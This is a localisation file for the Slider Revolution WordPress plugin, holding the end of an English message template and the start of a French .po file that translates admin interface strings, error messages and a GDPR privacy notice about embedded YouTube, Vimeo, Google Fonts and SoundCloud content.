#: admin/includes/help.class.php:7101 msgid "Vertical Align" msgstr "" #: admin/includes/help.class.php:5049 admin/includes/help.class.php:6033 msgid "Video from Stream" msgstr "" #: admin/includes/help.class.php:5167 admin/includes/help.class.php:6397 msgid "Video Speed" msgstr "" #: admin/includes/help.class.php:6047 msgid "Video Type" msgstr "" #: admin/includes/help.class.php:5154 msgid "Video Volume" msgstr "" #: admin/includes/help.class.php:6384 msgid "Video/Audio Volume" msgstr "" #: admin/includes/help.class.php:730 msgid "Vimeo" msgstr "" #: admin/includes/help.class.php:5010 msgid "Vimeo Video ID" msgstr "" #: admin/includes/help.class.php:5374 msgid "Visible in Navigation" msgstr "" #: admin/includes/help.class.php:7705 msgid "Wait for Action" msgstr "" #: admin/includes/help.class.php:1929 msgid "Wait for API" msgstr "" #: admin/includes/help.class.php:1800 msgid "Wait/Pause" msgstr "" #: admin/includes/help.class.php:1942 msgid "" "When the Slider is disabled on mobile it will only be loaded on desktop-" "based devices" msgstr "" #: admin/includes/help.class.php:3858 admin/includes/help.class.php:4339 msgid "Width" msgstr "" #: admin/includes/help.class.php:676 msgid "WooCommerce" msgstr "" #: admin/includes/help.class.php:1523 admin/includes/help.class.php:10893 msgid "Wrapper Classes" msgstr "" #: admin/includes/help.class.php:4389 msgid "Wrapper Color" msgstr "" #: admin/includes/help.class.php:10880 msgid "Wrapper ID" msgstr "" #: admin/includes/help.class.php:1259 msgid "" "Your Twitter App's" " Access Secret" msgstr "" #: admin/includes/help.class.php:1246 msgid "" "Your Twitter App's" " Access Token" msgstr "" #: admin/includes/help.class.php:1220 msgid "" "Your Twitter App's" " Consumer Key" msgstr "" #: admin/includes/help.class.php:1233 msgid "" "Your Twitter App's" " Consumer Secret" msgstr "" #: admin/includes/help.class.php:1356 msgid "" "Your Facebook App's App Secret" msgstr "" #: admin/includes/help.class.php:1343 msgid "" "Your Facebook App's ID" msgstr "" #: admin/includes/help.class.php:721 msgid "YouTube" msgstr "" #: admin/includes/help.class.php:4997 msgid "YouTube Video ID" msgstr "" #: admin/includes/help.class.php:5206 admin/includes/help.class.php:6440 msgid "YouTube/Vimeo Arguments" msgstr "" #: admin/includes/help.class.php:6061 msgid "YouTube/Vimeo ID" msgstr "" #: admin/includes/help.class.php:9493 msgid "Yoyo Filters" msgstr "" #: admin/includes/help.class.php:8914 msgid "Yoyo Movement" msgstr "" #: admin/includes/help.class.php:9372 msgid "Yoyo Rotation" msgstr "" #: admin/includes/help.class.php:9217 msgid "Yoyo Scaling" msgstr "" #: admin/includes/help.class.php:9759 msgid "zIndex" msgstr "" #: admin/includes/help.class.php:1683 admin/includes/help.class.php:5628 msgid "Zoom End Percentage" msgstr "" #: admin/includes/help.class.php:1672 admin/includes/help.class.php:5612 msgid "Zoom Start Percentage" msgstr "" #: admin/includes/help.class.php:2315 msgid "Zoom the non-active items by a certain percentage" msgstr "" #: admin/includes/help.class.php:2328 msgid "Zoom the non-active items by this percentage" msgstr "" languages/revslider-fr_FR.po000060400000614174151724235750012071 0ustar00# Loco Gettext template msgid "" msgstr "" "Project-Id-Version: Slider Revolution\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-06-28 07:35+0000\n" "POT-Revision-Date: Tue Aug 04 2015 14:53:44 GMT+0200 (CEST)\n" "PO-Revision-Date: 2019-10-28 11:51+0100\n" "Last-Translator: admin \n" "Language-Team: French (France)\n" "Language: fr_FR\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: .\n" "X-Poedit-KeywordsList: _:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;" "__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;" "_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;" "esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;" "esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2\n" "X-Loco-Target-Locale: en_US\n" "X-Generator: Poedit 2.2.4\n" "X-Loco-Version: 2.3.0; wp-5.2.3\n" "X-Poedit-SearchPath-0: ..\n" #: revslider.php:147 msgid "" "If you want to use the PHP function \"add_revslider\" in your code please " "make sure to activate " msgstr "" "Si vous souhaitez utiliser la fonction PHP \"add_revslider\" dans votre " "code, assurez-vous d'activer " #: revslider.php:148 msgid "\"Include RevSlider libraries globally\" " msgstr "\"Inclure globalement les bibliothèques RevSlider\" " #: revslider.php:149 msgid "and/or add the current page to the " msgstr "ou bien ajoutez la page actuelle à " #: revslider.php:150 msgid "\"Pages to include RevSlider libraries\" option " msgstr "l'option \"Pages à inclure dans les bibliothèques RevSlider\" " #: revslider.php:151 msgid "in the \"Global Settings\" of Slider Revolution." msgstr "dans les \"Paramètres Généraux\" de Slider Revolution." #: revslider.php:201 msgid "Revolution Slider Error:" msgstr "Erreur de Slider Revolution :" #: includes/woocommerce.class.php:43 msgid "Product" msgstr "Produit" #: includes/woocommerce.class.php:44 msgid "Product Variation" msgstr "Variation Produit" #: includes/woocommerce.class.php:130 admin/views/builder-slider-forms.php:636 msgid "Regular Price" msgstr "Prix normal" #: includes/woocommerce.class.php:131 admin/views/builder-slider-forms.php:640 msgid "Sale Price" msgstr "Prix promotionnel" #: includes/woocommerce.class.php:132 msgid "Number Of Sales" msgstr "Nombres de ventes" #: includes/woocommerce.class.php:133 msgid "Featured Products" msgstr "Produits populaires" #: includes/woocommerce.class.php:134 admin/views/modals-builder.php:594 msgid "SKU" msgstr "UGS (Unité de Gestion des Stocks)" #: includes/woocommerce.class.php:135 admin/views/modals-builder.php:596 msgid "Stock Quantity" msgstr "Quantité en stock" #: includes/slide.class.php:257 msgid "Slide ID" msgstr "Identifiant Slide" #: includes/slide.class.php:873 msgid "Source must be from Stream" msgstr "La source doit provenir de Stream" #: includes/slide.class.php:1961 admin/revslider-admin.class.php:1991 #: admin/views/builder-slide-forms.php:480 msgid "Global Layers" msgstr "Layer Globale" #: includes/output.class.php:5686 msgid "" "No slides found, please add at least one Slide Template to the choosen " "language." msgstr "" "Aucune Slide trouvée, merci d'ajouter au moins un modèle de Slide à la " "langue choisie." #: includes/output.class.php:5688 msgid "No slides found, please add some slides" msgstr "Aucune Slide trouvée, merci d'en ajouter une" #: includes/output.class.php:5857 msgid "Please follow this link to edit the Slider:" msgstr "Veuillez suivre ce lin pour modifier le Slider :" #: includes/external-sources.class.php:385 msgid "Can't get the bearer token, check your credentials" msgstr "Jeton porteur introuvable, merci de vérifier vos informations" #: includes/external-sources.class.php:438 msgid "Bearer Token is good, check your query" msgstr "Le jeton porteur est valide, merci de vérifier votre requête" #: includes/external-sources.class.php:592 msgid "Instagram reports: Parse script error" msgstr "Rapports Instagram: erreur du script d'analyse" #: includes/external-sources.class.php:598 msgid "Instagram reports: Content did not match expected" msgstr "Rapports Instagram: le contenu ne correspond pas à celui attendu" #: includes/external-sources.class.php:601 msgid "Instagram reports: Content is private" msgstr "Rapports Instagram: le contenu est privé" #: includes/em-integration.class.php:32 msgid "All Events" msgstr "Tous les évènements" #: includes/em-integration.class.php:33 msgid "Today" msgstr "Aujourd'hui" #: includes/em-integration.class.php:34 msgid "Tomorrow" msgstr "Demain" #: includes/em-integration.class.php:35 msgid "Future" msgstr "Futur" #: includes/em-integration.class.php:36 msgid "Past" msgstr "Passé" #: includes/em-integration.class.php:37 msgid "This Month" msgstr "Ce mois-ci" #: includes/em-integration.class.php:38 msgid "Next Month" msgstr "Le mois prochain" #: includes/em-integration.class.php:160 msgid "Event Start Date" msgstr "Date de début de l'événement" #: includes/em-integration.class.php:161 msgid "Event End Date" msgstr "Date de fin de l'événement" #: includes/data.class.php:35 msgid "Loaded Google Fonts" msgstr "Polices Google chargées" #: includes/data.class.php:38 includes/data.class.php:39 #: includes/data.class.php:40 msgid "Serif Fonts" msgstr "Polices Serif" #: includes/data.class.php:43 includes/data.class.php:44 #: includes/data.class.php:45 includes/data.class.php:46 #: includes/data.class.php:47 includes/data.class.php:48 #: includes/data.class.php:49 includes/data.class.php:50 msgid "Sans-Serif Fonts" msgstr "Polices Sans-Serif" #: includes/data.class.php:53 includes/data.class.php:54 msgid "Monospace Fonts" msgstr "Polices Monospaces" #: includes/data.class.php:65 msgid "Google Fonts" msgstr "Polices Google" #: includes/data.class.php:199 msgid "Original" msgstr "Original" #: includes/data.class.php:200 includes/data.class.php:242 #: includes/data.class.php:257 msgid "Large" msgstr "Grand" #: includes/data.class.php:201 msgid "Large Square" msgstr "Grand Carré" #: includes/data.class.php:202 includes/data.class.php:232 #: includes/data.class.php:241 includes/data.class.php:256 msgid "Medium" msgstr "Moyen" #: includes/data.class.php:203 msgid "Medium 800" msgstr "Moyen 800" #: includes/data.class.php:204 msgid "Medium 640" msgstr "Moyen 640" #: includes/data.class.php:205 includes/data.class.php:240 msgid "Small" msgstr "Petit" #: includes/data.class.php:206 msgid "Small 320" msgstr "Petit 320" #: includes/data.class.php:207 includes/data.class.php:214 #: includes/data.class.php:226 includes/data.class.php:255 #: admin/views/builder-slide-forms.php:20 msgid "Thumbnail" msgstr "Vignette" #: includes/data.class.php:208 msgid "Square" msgstr "Carré" #: includes/data.class.php:213 includes/data.class.php:220 msgid "Standard Resolution" msgstr "Résolution standard" #: includes/data.class.php:215 msgid "Low Resolution" msgstr "Résolution basse" #: includes/data.class.php:225 includes/data.class.php:254 #: admin/views/builder-slide-forms.php:709 msgid "Original Size" msgstr "Taille originale" #: includes/data.class.php:231 admin/views/builder-nav-forms.php:838 #: admin/views/modals-builder.php:323 admin/views/modals-builder.php:324 #: admin/views/modals-builder.php:325 admin/views/modals-builder.php:326 #: admin/views/builder-slide-forms.php:296 #: admin/views/builder-slide-forms.php:301 #: admin/views/builder-slide-forms.php:306 #: admin/views/builder-slide-forms.php:565 msgid "Default" msgstr "Défaut" #: includes/data.class.php:233 msgid "High" msgstr "Haute" #: includes/data.class.php:234 msgid "Standard" msgstr "Standard" #: includes/data.class.php:235 msgid "Max. Res." msgstr "Résolution max." #: includes/functions.class.php:85 msgid "Slider Revolution encountered the following error: " msgstr "Slider Revolution a rencontré l'erreur suivante : " #: includes/functions.class.php:225 msgid " should be numeric" msgstr " doit être au format numérique" #: includes/functions.class.php:235 msgid " should not be empty" msgstr " ne doit pas être vide" #: includes/functions.class.php:1161 msgid "Wrong category format" msgstr "Format de catégorie incorrect" #: includes/functions.class.php:1563 #, php-format msgid "View all posts in %s" msgstr "Voir tous les posts en %s" #: includes/wpml.class.php:39 msgid "The WPML plugin is not activated" msgstr "Le plugin WPML n'est pas actité" #: includes/wpml.class.php:55 includes/wpml.class.php:128 msgid "All Languages" msgstr "Toutes les langues" #: includes/object-library.class.php:206 includes/object-library.class.php:219 #: includes/object-library.class.php:321 msgid "Plugin not activated" msgstr "Plugin non activé" #: includes/object-library.class.php:248 includes/object-library.class.php:345 msgid "No data received" msgstr "Aucune donnée reçue" #: includes/object-library.class.php:252 includes/object-library.class.php:270 #: includes/object-library.class.php:273 msgid "Error downloading object" msgstr "Erreur lors du téléchargement de l'objet" #: includes/object-library.class.php:310 msgid "Error downloading layers" msgstr "Erreur lors du téléchargement des Layers" #: includes/object-library.class.php:349 includes/object-library.class.php:356 msgid "Error downloading layers data" msgstr "Erreur lors du téléchargement des données des Layers" #: includes/slider.class.php:665 msgid "Slide not found in the main slides of the slider. Maybe it" msgstr "" "Slide non trouvée dans les Slides principales du Slider. Peut-être que" #: includes/slider.class.php:950 msgid "A Slider with the given alias already exists" msgstr "Un Slider avec le nom fourni existe déjà" #: includes/slider.class.php:1359 includes/slider.class.php:1366 #: includes/slider.class.php:1374 msgid "Slide could not be duplicated" msgstr "La Sllide n'a pas pu être dupliquée" #: includes/slider.class.php:1483 msgid "This Source Type must be from posts." msgstr "Le type de la source doit venir de posts." #: includes/slider.class.php:1626 includes/slider.class.php:1641 msgid "Sorry, this Social Stream cannot be displayed." msgstr "Désolé, ce Social Stream ne peut pas être affiché." #: includes/navigation.class.php:241 msgid "Invalid ID" msgstr "Identifiant invalide" #: includes/navigation.class.php:244 msgid "Navigation could not be deleted" msgstr "La navigation n'a pas pu être supprimée" #: includes/navigation.class.php:520 msgid "Can't modify a default preset of default navigations" msgstr "" "Impossible de modifier un préréglage par défaut des navigations par défaut" #: includes/navigation.class.php:536 includes/navigation.class.php:576 msgid "Preset handle already exists, please choose a different name" msgstr "Ce nom de préréglage existe déjà, veuillez choisir un nom différent" #: includes/navigation.class.php:636 msgid "Navigation not found, could not add preset" msgstr "Navigation introuvable, impossible d'ajouter un préréglage" #: includes/navigation.class.php:671 msgid "Can't delete default preset of default navigations" msgstr "" "Impossible de supprimer le préréglage par défaut des navigations par défaut" #: includes/navigation.class.php:673 msgid "Preset not found in default navigations" msgstr "Préréglage introuvable dans les navigations par défaut" #: includes/navigation.class.php:685 admin/revslider-admin.class.php:920 msgid "Preset not found" msgstr "Préréglage introuvable" #: includes/navigation.class.php:710 msgid "Navigation not found, could not delete preset" msgstr "Navigation introuvable, impossible de supprimer le préréglage" #: includes/extension.class.php:47 admin/includes/widget.class.php:14 msgid "Slider Revolution" msgstr "Slider Revolution" #: includes/extension.class.php:105 msgid "Choose Revolution Slider" msgstr "Choisissez le Revolution Slider" #: includes/extension.class.php:109 msgid "--- Choose Slider ---" msgstr "--- Choisissez un Slider ---" #: admin/revslider-admin.class.php:246 msgid "Choose Slide Template" msgstr "Choisissez un modèle de Slide" #: admin/revslider-admin.class.php:404 msgid "" "Activate Slider Revolution for Premium Benefits (e.g. Live " "Updates)." msgstr "" "Activez le Slider Revolution pour avantages Premium (pour " "les mises à jour en direct par exemple) ." #: admin/revslider-admin.class.php:415 msgid "A new version of Slider Revolution is available." msgstr "Une nouvelle version de Slider Revolution est disponible." #: admin/revslider-admin.class.php:436 msgid "" "

            In case you’re using Google Web Fonts (default) or playing videos or " "sounds via YouTube or Vimeo in Slider Revolution we recommend to add the " "corresponding text phrase to your privacy police:

            \n" "\t\t

            YouTube

            Our website uses plugins from YouTube, which is " "operated by Google. The operator of the pages is YouTube LLC, 901 Cherry " "Ave., San Bruno, CA 94066, USA.

            If you visit one of our pages " "featuring a YouTube plugin, a connection to the YouTube servers is " "established. Here the YouTube server is informed about which of our pages " "you have visited.

            If you're logged in to your YouTube account, " "YouTube allows you to associate your browsing behavior directly with your " "personal profile. You can prevent this by logging out of your YouTube " "account.

            YouTube is used to help make our website appealing. This " "constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            " "

            Further information about handling user data, can be found in the data " "protection declaration of YouTube under https://www.google.de/intl/de/" "policies/privacy.

            \n" "\t\t

            Vimeo

            Our website uses features provided by the Vimeo video " "portal. This service is provided by Vimeo Inc., 555 West 18th Street, New " "York, New York 10011, USA.

            If you visit one of our pages featuring a " "Vimeo plugin, a connection to the Vimeo servers is established. Here the " "Vimeo server is informed about which of our pages you have visited. In " "addition, Vimeo will receive your IP address. This also applies if you are " "not logged in to Vimeo when you visit our plugin or do not have a Vimeo " "account. The information is transmitted to a Vimeo server in the US, where " "it is stored.

            If you are logged in to your Vimeo account, Vimeo " "allows you to associate your browsing behavior directly with your personal " "profile. You can prevent this by logging out of your Vimeo account.

            " "

            For more information on how to handle user data, please refer to the " "Vimeo Privacy Policy at https://vimeo.com/privacy.

            \n" "\t\t

            Google Web Fonts

            For uniform representation of fonts, this " "page uses web fonts provided by Google. When you open a page, your browser " "loads the required web fonts into your browser cache to display texts and " "fonts correctly.

            For this purpose your browser has to establish a " "direct connection to Google servers. Google thus becomes aware that our web " "page was accessed via your IP address. The use of Google Web fonts is done " "in the interest of a uniform and attractive presentation of our plugin. This " "constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If " "your browser does not support web fonts, a standard font is used by your " "computer.

            Further information about handling user data, can be found " "at https://developers.google.com/fonts/faq and in Google's privacy " "policy at https://www.google.com/policies/privacy/.

            \n" "\t\t

            SoundCloud

            On our pages, plugins of the SoundCloud social " "network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T " "3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the " "SoundCloud logo on our site.

            \n" "\t\t\t

            When you visit our site, a direct connection between your browser " "and the SoundCloud server is established via the plugin. This enables " "SoundCloud to receive information that you have visited our site from your " "IP address. If you click on the “Like” or “Share” buttons while you are " "logged into your SoundCloud account, you can link the content of our pages " "to your SoundCloud profile. This means that SoundCloud can associate visits " "to our pages with your user account. We would like to point out that, as the " "provider of these pages, we have no knowledge of the content of the data " "transmitted or how it will be used by SoundCloud. For more information on " "SoundCloud’s privacy policy, please go to https://soundcloud.com/pages/" "privacy.

            If you do not want SoundCloud to associate your visit to our " "site with your SoundCloud account, please log out of your SoundCloud account." "

            " msgstr "" "

            Si vous utilisez des polices Google Web (par défaut) ou lisez des vidéos " "ou des fichiers audio via YouTube ou Vimeo dans Slider Revolution, nous vous " "recommandons d’ajouter le texte correspondant dans votre police de " "confidentialité :

            \n" "

            YouTube

            Notre site Web utilise des plug-ins provenant de " "YouTube, service exploité par Google. L’exploitant des pages est YouTube " "LLC, 901 Cherry Ave., San Bruno, CA 94066, États-Unis.

            Si vous " "visitez l’une de nos pages contenant un plugin YouTube, une connexion aux " "serveurs YouTube est établie. Le serveur YouTube est alors informé des pages " "que vous avez visitées sur notre site.

            Si vous êtes connecté à votre " "compte YouTube, YouTube vous permet d'associer votre historique de " "navigation directement à votre profil personnel. Vous pouvez désactiver " "cette fonctionnalité en vous déconnectant de votre compte YouTube.

            " "

            YouTube est utilisé pour rendre notre site Web attractif. Cela constitue " "un intérêt justifié d’après l'article Art. 6 (1) (f) DSGVO.

            Pour " "plus d'informations sur le traitement des données utilisateur, consultez la " "politique de protection des données de YouTube ici https://www.google.de/" "intl/de/policies/privacy.

            \n" "

            Vimeo

            Notre site Web utilise des fonctionnalités fournies par le " "portail vidéo Vimeo. Ce service est fourni par Vimeo Inc., 555 West 18th " "Street, New York, New York 10011, États-Unis.

            Si vous visitez l'une " "de nos pages utilisant un plugin Vimeo, une connexion aux serveurs Vimeo est " "établie. Le serveur Vimeo est alors informé des pages que vous avez visitées " "sur notre site. De plus, Vimeo recevra votre adresse IP. Ceci s'applique " "également si vous n'êtes pas connecté à Vimeo lorsque vous visitez notre " "plugin ou si vous n'avez pas de compte Vimeo. Les informations sont " "transmises à un serveur Vimeo aux États-Unis, où elles sont stockées.

            " "

            Si vous êtes connecté à votre compte Vimeo, Vimeo vous permet d'associer " "votre historique de navigation directement à votre profil personnel. Vous " "pouvez désactiver cette fonctionnalité en vous déconnectant de votre compte " "Vimeo.

            Pour plus d'informations sur la gestion des données " "utilisateur, consultez la politique de confidentialité de Vimeo ici https://vimeo.com/privacy.

            \n" "

            Polices Web de Google

            Pour une représentation uniforme des " "polices, cette page utilise des polices Web fournies par Google. Lorsque " "vous ouvrez une page, votre navigateur charge les polices Web requises dans " "le cache de votre navigateur afin d'afficher correctement les textes et les " "polices.

            Pour ce faire, votre navigateur doit établir une connexion " "directe avec les serveurs Google. Google est ainsi averti que notre page Web " "a été consultée via votre adresse IP. L'utilisation des polices Web de " "Google est effectuée dans l'intérêt d'une présentation uniforme et " "attrayante de notre plugin. Cela constitue un intérêt justifié d’après " "l'article Art. 6 (1) (f) DSGVO.

            Si votre navigateur ne prend pas en " "charge les polices Web, votre ordinateur utilise une police standard.

            " "

            De plus amples informations sur la gestion des données utilisateur sont " "disponibles icihttps://developers.google.com/fonts/faqainsi que dans les " "règles de confidentialité de Google icihttps://www.google.com/policies/" "privacy/.\n" "

            SoundCloud

            Nos pages peuvent utiliser des plug-ins du réseau " "social SoundCloud (SoundCloud Limited, Berners House, 47-48 Berners Street, " "Londres W1T 3NF, UK). Les plugins SoundCloud sont reconnaissables au logo " "SoundCloud sur notre site.

            \n" "

            Lorsque vous visitez notre site, une connexion directe entre votre " "navigateur et le serveur SoundCloud est établie via le plugin. SoundCloud " "sait alors que vous avez visité notre site depuis votre adresse IP. Si vous " "cliquez sur les boutons “J'aime” ou “Partager” pendant que vous êtes " "connecté à votre compte SoundCloud, vous pouvez associer le contenu de nos " "pages à votre profil SoundCloud. Cela signifie que SoundCloud peut associer " "des visites sur nos pages avec votre compte utilisateur. Nous aimerions " "souligner que, en tant que fournisseur de ces pages, nous n’avons aucune " "connaissance du contenu des données transmises ni de la manière dont elles " "seront utilisées par SoundCloud. Pour plus d'informations sur la politique " "de confidentialité de SoundCloud, rendez-vous à l'adresse https://soundcloud." "com/pages/privacy.

            Si vous ne souhaitez pas que SoundCloud associe " "votre visite sur notre site à votre compte SoundCloud, déconnectez-vous de " "votre compte SoundCloud.

            " #: admin/revslider-admin.class.php:484 msgid "Function Not Available in Demo Mode" msgstr "Fonction non disponible pour en mode de démonstration" #: admin/revslider-admin.class.php:506 admin/revslider-admin.class.php:512 msgid "Function Only Available for Adminstrators" msgstr "Fonction seulement disponible pour les Administrateurs" #: admin/revslider-admin.class.php:521 msgid "Bad Request" msgstr "Requête incorrecte" #: admin/revslider-admin.class.php:532 msgid "The Purchase Code needs to be set!" msgstr "Le code d'achat doit être défini!" #: admin/revslider-admin.class.php:537 msgid "Plugin successfully activated" msgstr "Plugin activé avec succès" #: admin/revslider-admin.class.php:539 admin/includes/template.class.php:60 msgid "Purchase Code is invalid" msgstr "Le code d'achat est invalide" #: admin/revslider-admin.class.php:542 msgid "Purchase Code already registered!" msgstr "Code d'achat déjà enregistré!" #: admin/revslider-admin.class.php:544 msgid "Purchase Code was locked, please contact the ThemePunch support!" msgstr "" "Le code d'achat a était verrouillé, merci de contacter l'assistance " "ThemePunch!" #: admin/revslider-admin.class.php:546 msgid "Purchase Code could not be validated" msgstr "Le code d'achat n'a pas pu être validé" #: admin/revslider-admin.class.php:553 msgid "Plugin deregistered" msgstr "Plugin désenregistrer" #: admin/revslider-admin.class.php:555 msgid "Deregistration failed!" msgstr "La désenregistration a échouée!" #: admin/revslider-admin.class.php:569 msgid "Saved" msgstr "Sauvegardé" #: admin/revslider-admin.class.php:580 msgid "Connection to Update Server Failed" msgstr "La connexion au serveur de mise à jour a échoué" #: admin/revslider-admin.class.php:631 admin/revslider-admin.class.php:693 msgid "Slider Import Failed" msgstr "Échec de l'importation du Slider" #: admin/revslider-admin.class.php:634 msgid "Template Slider Import Failed" msgstr "Échec de l'importation du modèle de Slider" #: admin/revslider-admin.class.php:645 msgid "Template Slider Installation Failed" msgstr "Échec de l'installation du modèle de Slider" #: admin/revslider-admin.class.php:669 msgid "Slide duplication failed" msgstr "La duplication du Slide a échoué" #: admin/revslider-admin.class.php:753 msgid "Slider Deleted" msgstr "Slider supprimé" #: admin/revslider-admin.class.php:765 msgid "Duplication Failed" msgstr "La duplication a échoué" #: admin/revslider-admin.class.php:773 msgid "Slide Saved" msgstr "Slide sauvegardé" #: admin/revslider-admin.class.php:775 msgid "Slide not found" msgstr "Slide introuvable" #: admin/revslider-admin.class.php:829 admin/revslider-admin.class.php:1668 #: admin/revslider-admin.class.php:1673 msgid "Slider not found" msgstr "Slider introuvable" #: admin/revslider-admin.class.php:863 msgid "Posts" msgstr "Posts" #: admin/revslider-admin.class.php:890 msgid "Global Settings saved/updated" msgstr "Paramètres globaux enregistrés / mis à jour" #: admin/revslider-admin.class.php:892 admin/revslider-admin.class.php:895 msgid "Global Settings not saved/updated" msgstr "Paramètres globaux non enregistrés / mis à jour" #: admin/revslider-admin.class.php:903 msgid "Navigation preset saved/updated" msgstr "Préréglage de navigation enregistré / mis à jour" #: admin/revslider-admin.class.php:906 msgid "Preset could not be saved/values are the same" msgstr "Le préréglage n'a pas pu être sauvegardé / les valeurs sont identiques" #: admin/revslider-admin.class.php:917 msgid "Navigation preset deleted" msgstr "Le préréglage de navigation a été supprimé" #: admin/revslider-admin.class.php:950 msgid "Animation deleted" msgstr "Animation supprimée" #: admin/revslider-admin.class.php:952 msgid "Deletion failed" msgstr "Echec de la suppression" #: admin/revslider-admin.class.php:970 msgid "Animation saved" msgstr "Animation sauvegardée" #: admin/revslider-admin.class.php:973 msgid "Animation could not be saved" msgstr "L'animation n'a pas pu être sauvegardé" #: admin/revslider-admin.class.php:1005 admin/revslider-admin.class.php:1011 msgid "Slider could not be loaded" msgstr "Le Slider n'a pas pu être chargé" #: admin/revslider-admin.class.php:1074 msgid "New Folder" msgstr "Nouveau dossier" #: admin/revslider-admin.class.php:1081 msgid "Folder Creation Failed" msgstr "Échec de la création du dossier" #: admin/revslider-admin.class.php:1090 msgid "Folder Deleted" msgstr "Dossier supprimé" #: admin/revslider-admin.class.php:1092 msgid "Folder Deletion Failed" msgstr "Échec de la suppression du dossier" #: admin/revslider-admin.class.php:1101 msgid "Tags Updated" msgstr "Etiquettes mises à jour" #: admin/revslider-admin.class.php:1103 msgid "Failed to Update Tags" msgstr "Échec de la mise à jour des étiquettes" #: admin/revslider-admin.class.php:1114 msgid "Slider Moved to Folder" msgstr "Le Slider a bien été déplacé dans le dossier" #: admin/revslider-admin.class.php:1116 msgid "Failed to Move Slider Into Folder" msgstr "Le Slider n'a pas pu être déplacé dans le dossier" #: admin/revslider-admin.class.php:1127 msgid "Title updated" msgstr "Titre mis à jour" #: admin/revslider-admin.class.php:1129 msgid "Failed to update Title" msgstr "Impossible de mettre à jour le titre" #: admin/revslider-admin.class.php:1135 msgid "Slider Revolution Preview" msgstr "Aperçu de Slider Revolution" #: admin/revslider-admin.class.php:1250 msgid "Invalid Email" msgstr "Email invalide" #: admin/revslider-admin.class.php:1253 msgid "Success! Please check your E-Mails to finish the subscription" msgstr "Succès! Veuillez vérifier vos emails pour compléter votre abonnement" #: admin/revslider-admin.class.php:1256 msgid "Invalid Email/Could not connect to the Newsletter server" msgstr "Email invalide / Impossible de se connecter au serveur des newsletters" #: admin/revslider-admin.class.php:1259 msgid "No Email given" msgstr "Aucun email renseigné" #: admin/revslider-admin.class.php:1296 msgid "Favorite Changed" msgstr "Le favori a été modifié" #: admin/revslider-admin.class.php:1323 msgid "Object could not be loaded" msgstr "L'objet n'a pas pu être chargé" #: admin/revslider-admin.class.php:1333 msgid "Video cover could not be loaded" msgstr "La vidéo de couverture n'a pas pu être chargée" #: admin/revslider-admin.class.php:1357 msgid "Could not create Slide" msgstr "Impossible de créer le Slide" #: admin/revslider-admin.class.php:1377 msgid "Could not create Slider" msgstr "Impossible de créer le Slider" #: admin/revslider-admin.class.php:1408 msgid "AddOn could not be activated" msgstr "L'extension n'a pas pu être activée" #: admin/revslider-admin.class.php:1420 msgid "AddOn deactivated" msgstr "L'extension désactivée" #: admin/revslider-admin.class.php:1422 msgid "AddOn could not be deactivated" msgstr "Impossible de désactiver l'extension" #: admin/revslider-admin.class.php:1549 msgid "Successfully fetched Facebook albums" msgstr "Récupération des albums Facebook faite avec succès" #: admin/revslider-admin.class.php:1551 msgid "Could not fetch Facebook albums" msgstr "Impossible de récupérer les albums Facebook" #: admin/revslider-admin.class.php:1555 msgid "Cleared Albums" msgstr "Albums supprimés" #: admin/revslider-admin.class.php:1564 msgid "Successfully fetched flickr photosets" msgstr "Séries de photos flickr récupérées avec succès" #: admin/revslider-admin.class.php:1566 msgid "Could not fetch flickr photosets" msgstr "Impossible de récupérer les séries de photos flickr" #: admin/revslider-admin.class.php:1571 msgid "Cleared Photosets" msgstr "Séries de photos supprimées" #: admin/revslider-admin.class.php:1573 msgid "No User URL - Could not fetch flickr photosets" msgstr "" "Aucune URL utilisateur - Impossible d'extraire la série de photos flickr" #: admin/revslider-admin.class.php:1576 msgid "No API KEY - Could not fetch flickr photosets" msgstr "Aucune clé API - Impossible d'extraire la série de photos flickr" #: admin/revslider-admin.class.php:1585 msgid "Successfully fetched YouTube playlists" msgstr "Listes de lecture YouTube récupérées avec succès" #: admin/revslider-admin.class.php:1587 msgid "Could not fetch YouTube playlists" msgstr "Impossible de récupérer les listes de lecture YouTube" #: admin/revslider-admin.class.php:1595 msgid "Slider Revolution database structure was updated" msgstr "La structure de la base de données Slider Revolution a été mise à jour" #: admin/revslider-admin.class.php:1626 msgid "No response on action" msgstr "Pas de réponse reçue" #: admin/revslider-admin.class.php:1677 msgid "No Data Received" msgstr "Aucune donnée recue" #: admin/revslider-admin.class.php:1686 msgid "Loading Error" msgstr "Erreur de chargement" #: admin/revslider-admin.class.php:1686 msgid "Loading Error: " msgstr "Erreur de chargement : " #: admin/revslider-admin.class.php:1759 msgid "Please Wait a Moment" msgstr "Merci de patientez" #: admin/revslider-admin.class.php:1760 admin/revslider-admin.class.php:1857 msgid "Ooppps...." msgstr "Ouuuups…" #: admin/revslider-admin.class.php:1761 admin/revslider-admin.class.php:1858 msgid "None of the Settings changed. There is Nothing to Save" msgstr "Aucun des paramètres n'a changé. Il n'y a rien à sauvegarder" #: admin/revslider-admin.class.php:1762 admin/revslider-admin.class.php:1859 msgid "Enter Preset Name to Save or Delete" msgstr "Saisissez le nom du préréglage à enregistrer ou à supprimer" #: admin/revslider-admin.class.php:1763 admin/revslider-admin.class.php:1860 msgid "Custom Size is currently Disabled" msgstr "L'option taille personnalisée est actuellement désactivée" #: admin/revslider-admin.class.php:1764 admin/revslider-admin.class.php:1861 msgid "" "The Current Size is set to calculate the Layer grid sizes Automatically." "
            Do you want to continue with Custom Sizes or do you want to keep the " "Automatically generated sizes ?" msgstr "" "La taille actuelle est définie pour calculer automatiquement les tailles de " "la grille de la Layer.
